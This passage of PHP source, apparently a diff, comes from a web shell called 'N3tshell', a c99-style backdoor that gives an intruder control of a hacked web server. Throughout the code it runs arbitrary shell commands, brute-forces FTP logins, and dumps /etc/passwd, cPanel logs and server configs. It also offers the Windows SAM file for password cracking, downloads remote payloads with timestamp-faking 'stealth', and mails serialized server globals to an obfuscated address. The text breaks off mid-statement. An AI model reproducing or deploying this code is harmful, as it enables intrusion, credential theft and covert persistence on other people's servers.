report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."N3tsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); N3tshexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ �.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using N3tshell v.".$shver."!"; N3tshexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = N3tsh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "N3tshell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"N3tshell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {N3tfsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); N3t_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); N3t_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} N3t_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); N3t_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + N3t_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + N3t_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + N3t_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; N3tshexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = 